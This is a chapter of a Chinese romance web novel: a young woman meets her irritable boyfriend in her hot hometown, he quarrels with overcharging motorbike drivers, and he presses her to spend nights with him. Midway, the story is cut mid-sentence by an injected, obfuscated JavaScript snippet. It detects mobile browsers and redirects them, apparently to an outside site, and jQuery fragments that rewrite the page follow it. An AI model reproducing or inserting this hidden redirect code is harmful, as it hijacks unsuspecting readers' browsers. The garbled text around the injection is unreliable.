连绵青山上浮着灿烂的红霞,像是一盆烧得正旺的火泼进了云里,烧得天空又灼又亮。空气里浮动着令人窒息的热浪——正是纪言川说要来的日子。
席玉天没亮就醒了,心里揣着只活蹦乱跳的兔子。
她把那条从海城买回来就塞进柜底没敢穿过的碎花裙子仔细熨烫平整,又对着镜子描摹了好一阵子。裙子是吊带的,露出她清瘦的锁骨和一片白皙的皮肤,她犹豫了一下,最终还是没舍得换掉。
小镇没通高铁,只有那种慢悠悠、脏兮兮、散发着混杂气味的旧式大巴。
纪言川最讨厌那种车,以前送她回镇上时就捏着鼻子抱怨过,说车厢里混合着汗味、汽油味和劣质香水味的空气能让他把隔夜饭都吐出来。这回他倒是学乖了,说是打了个顺风车。
席玉盯着手机上显示的时间,距离两人约好的十点半已经过去了半小时。蝉鸣吵得人心烦意乱,她鼻尖沁出细密的汗,精心打理过的刘海也有些塌了。她终于忍不住拨通了他的电话。
听筒里的嘟声漫长到令人难堪,就在她以为不会有人接听,准备挂断重拨时,那边才猛地接通,传来一阵粗重又焦躁的喘息,伴随着背景音里嘈杂的车流声。
“喂?!”他的声音被热浪蒸得又干又哑,几乎劈了叉。
“你到哪儿了?”席玉的声音下意识地放软,带着小心翼翼的试探和藏不住的期待。
“操!我也不知道这什么鬼地方。”纪言川几乎是吼出来的,语气里充满了濒临崩溃的不耐烦,“那破司机说路窄不进来了,直接把我扔镇口这破马路牙子上了!这什么鸟不拉屎的鬼地方!”
席玉的心揪了一下,她能想象出他此刻拧着眉头,流着热汗的样子。“你给我拍个照片,我过去找你。”
“拍个屁,手机烫得能煎鸡蛋了!再拍要爆炸了!我说你们这老家也太……绝了!”他话语里的嫌弃毫不掩饰。
虽是实话,但席玉听他这样毫不客气地甩出来,心里终究漫上一股难以言喻的涩意。
电话那头传来他更加暴躁的喘气声,以及似乎是行李箱轮子磕碰路面的刺耳噪音。“行了行了,发你了,这太阳是要杀人吗?算了你别出来了,再给你晒中暑了更麻烦,我自个儿想办法打车过去!你把定位再发我一遍。”
“我早上不是发过给你了吗?你往上翻翻聊天记录……”席玉小声提醒。
“翻什么翻,我们那聊天记录他妈拉不到底!我手机现在就是个烫手山芋,我还拖着这么个大箱子,重死了,你是要累死我吗?”纪言川的抱怨连珠炮似的砸过来,每一个字都透着大大的不耐烦和理所应当。
席玉抿了抿唇,把心底那点不快压下去。想起自己去海城旅游时,哪怕心情再好,但处于近40度的高温天里,自己也是烦躁得看什么都不顺眼。
她努力说服自己理解他,指尖在发烫的屏幕上滑动,忍着那点委屈,把定位又发了一遍。
“那……我不过去了?”
“嗯!等着!挂了!”
电话被猛地掐断,忙音响起。
纪言川烦躁地把手机塞进裤兜,感觉那块金属烫得大腿皮肤生疼。
他环顾四周,所谓的镇口就是一条被太阳晒得发白的双车道水泥路,路边歪歪扭扭地开着几家店铺,招牌蒙着厚厚的灰尘。稀疏的树荫小得可怜,根本遮不住人。
“妈的,真是倒了八辈子血霉,早知道夏天热成这种鬼样,打死我也不来!”他狠狠踢了一脚身边滚烫的行李箱轮子,只觉得心里的火气比天上的太阳还旺。
几个蹲在路边阴凉处抽烟的男人早就注意到了这个穿着时髦、拖着崭新行李箱的年轻外地人,彼此交换了一个心照不宣的眼神。
一个穿着油腻腻汗衫、叼着烟的男人站起身,吐出一口浓白的烟雾,露出一口被烟渍熏得发黄的牙,笑着凑过来。
“小伙子,去哪点儿?坐摩托走嘛?又快又方便!”他热情地拍了拍后座——那是个黑色的皮座垫,边缘破了个不小的洞,黄色的海绵从里面挤出来,被压得扁扁的,看着就硌人。
纪言川嫌恶地皱紧眉头:“这儿有出租车吗?”
“诶哟,租什么出租车嘛!”另一个瘦猴似的司机也围过来,咧着嘴笑,“我们这儿的路,出租车拐不进来嘞,又慢又贵!坑死你。还是我们这个好,钻巷子快得很,绝对安全!”他把“安全”两个字咬得特别重。
纪言川看着眼前这破败的摩托车和司机们谄媚又精明的笑脸,心里直打鼓,但这毒日头底下实在没得选。“多少钱?”他把手机导航戳到那黄牙男人面前,没好气地问。
男人眯着眼瞟了下地址,又深深吸了口烟,慢悠悠地吐出个烟圈:“不远不远,十块钱嘛,送你到门口!”
“十块?”纪言川下意识重复,这价格倒比大城市便宜太多,他一时有点犹豫。安城出租车起步价就十二了。
正当他准备忍痛接受这破摩托,试图把沉重的行李箱拎起来时,一只手臂忽然从旁边伸过来,隔开了他和那个黄牙司机。
那手臂白得晃眼,在灼热的阳光下甚至能看清皮肤下淡青色的血管脉络,瘦削却带着一种不容置疑的阻拦意味。
“别坐。”一个清冷平静的声音响起,没什么情绪起伏,“他们坑你。”
纪言川被这突然冒出来的人吓了一大跳,心脏都漏跳半拍,酝酿好的脏话几乎要脱口而出。
可他一扭头,看见的却是一个穿着干净校服、身材清瘦的男生。
对方看起来顶多高中生年纪,眉眼干净,鼻梁挺直,嘴唇抿成一条冷淡的直线,正平静地看着他。那双眼睛很黑,像两潭深井的水,看不出情绪。
自己到嘴边的粗话硬生生被这眼神堵了回去,卡在喉咙里。
“诶!小兔崽子你胡说八道什么!”黄牙司机瞬间变了脸,指着那少年骂骂咧咧,“哪家的混账东西!滚一边儿去!别他妈在这儿坏老子生意!”
“就是!毛都没长齐懂个屁!快滚!”瘦猴司机也帮腔,面目显得有些狰狞。
那少年却连眼皮都没抬一下,仿佛那些污言秽语只是耳边风。
他的目光依旧落在纪言川脸上,声音依旧是平的,没什么温度,却清晰地穿透了司们的叫骂:“到那儿,出租车打表,最多五块。”
说完,他根本不等任何回应,转身就走,单薄的背影很快消失在燥热的空气和刺眼的阳光里,像个偶然误入的幻影。
留下纪言川和一群气急败坏的摩托车司机面面相觑,气氛瞬间尴尬又紧张。
“五……五块?”纪言川反应过来,一股被当冤大头的怒火猛地窜起,“你们他妈……”
那黄牙司机眼见要黄,竟直接上手要来抢纪言川的行李箱往车架上捆,嘴里还说着:“哎呀五块十块差不多的嘛!坐嘛坐嘛!”
“滚开!”纪言川彻底火了,一把抢回自己的箱子,猛地向后躲开,气得额头青筋都跳了起来,“坑了老子还想让老子坐?做梦,一群什么玩意儿。”
“不就五块钱嘛,穷酸样!”瘦猴司机啐了一口。
“管你五块还是五十,老子就是不爽,就是不坐你们的破车!宰我的都不坐。”纪言川的少爷脾气彻底爆发,梗着脖子吼道。
正吵嚷间,一辆绿白相间的出租车慢悠悠地开了过来。
纪言川像是抓到救命稻草,几乎是跳着招手拦下,手忙脚乱地把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180314|180924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行李箱塞进后备箱,拉开车门就钻了进去,用力甩上门,将窗外那些司机不甘心的叫骂和鄙夷的目光彻底隔绝。
车厢里空调开得很足,冷气激得他起了一层鸡皮疙瘩。他报出地址,看着窗外飞速倒退的、陌生又破旧的街景,胸口那股憋闷的怒火和莫名的烦躁,却丝毫未减。
席玉给他发的定位在家附近的冰室。墙壁上那台泛黄旧风扇不知疲倦地转动,搅动黏腻空气,吹出来的却全是热风,连积了灰的扇叶都像在发烫。
她面前的绿豆沙冰早已融化得不成形,变成一碗沉甸甸的浓稠绿水。她捏着勺子,有一搭没一搭地搅着,冰块早没了踪迹。
桌面忽然嗡嗡震动,连带着瓷碗轻跳,发出细碎碰撞声。她没抬头。
“等我多久了?”纪言川一屁股在她对面坐下,扯过一叠纸巾就往额头上按,汗出得又急又密,不一会儿整张纸湿透。“这什么破地方,热死人。”
“也没多久。”席玉语气平淡,“你要吃什么?”
他热得喉咙冒烟,对甜食毫无兴趣,只要了碗酸梅汤,嘴上却没停:“宝贝,跟你商量个事。”
“嗯,你说。”她又抽了张纸递过去,示意他擦擦鼻尖。纪言川嬉皮笑脸地把整张脸凑近,等她动作,她却只是把纸塞进他手里。
“本来不是说好待五天嘛……刚接到消息,家里有点事,可能三天后就得回去。”他边说边瞄她,试图从她脸上找出点情绪。
席玉没立即应声。她垂下眼,用勺子慢慢划着碗里黏腻的绿色汁液。真假对她而言忽然不再重要——他语气里那股按捺不住的急躁,早已说明更多。
纪言川见她白净的脸上没什么波澜,以为她信了,暗自松了口气。这穷酸又闷热的鬼地方,他一天都不想多待。
“宝宝,”他声音放软,手心突然覆上她放在桌面的手背。体温高得让她下意识想缩回,却被他牢牢按住。“那你今晚还回去睡吗?”他拇指蹭了蹭她细腻的皮肤,带起一阵细密的痒意,有点试探的意味。
“你什么意思?”
“你看,我大老远跑来一趟,你要是还回家住,那多没意思?我们就外面住三天,嗯?房费我出,绝对不碰你,骗你是狗。”
席玉皱了皱眉,“不了。我家里管得严,你又不是不知道。”
“就说和女性朋友出去呗,她们又不会查岗。”他凑近些,声音压低,却掩不住那股蠢蠢欲动,“就三天,宝贝,我真想你。”
一般别人费尽心思劝你做的事,多半不是好事。更何况还得撒谎才能达成目的。
“说了不行。”她抽回手,语气硬了些。
“你——”纪言川喉结滚动,明显压下一句冲到嘴边的抱怨,勉强挤出个笑,“行行行,听你的。”妥协得很快,但嘴角绷得有点紧。
这时候酸梅汤端了上来,深紫色的,浮着碎冰。他没接,反而把碗推到她面前。
“喂我一口。”他又笑起来,好像刚才那点不愉快没发生过似的,但眼神里藏着点不易察觉的逼迫。
席玉飞快地扫了一眼四周。天气燥热,冰室里人不少,嘈杂声裹着热气蒸腾。“这么多人,别了吧。”
“睡不行,喂口喝的也不行?”他声音沉了点,笑意没进眼睛。
她沉默了一下,终究还是捏起勺子舀了一口,递到他嘴边。
可就在那勺酸梅汁将将尽数喂入他口中时,席玉忽然手腕一抖,“哐当”一声将勺子扔回碗里,紫红色的汁液溅上桌面的同时,她猛地压低上身向他靠近。
“别回头,”她声音压得极低,清凉的气息拂过他耳畔,带着一丝不易察觉的紧绷,“我身后是不是有人一直在看这边?”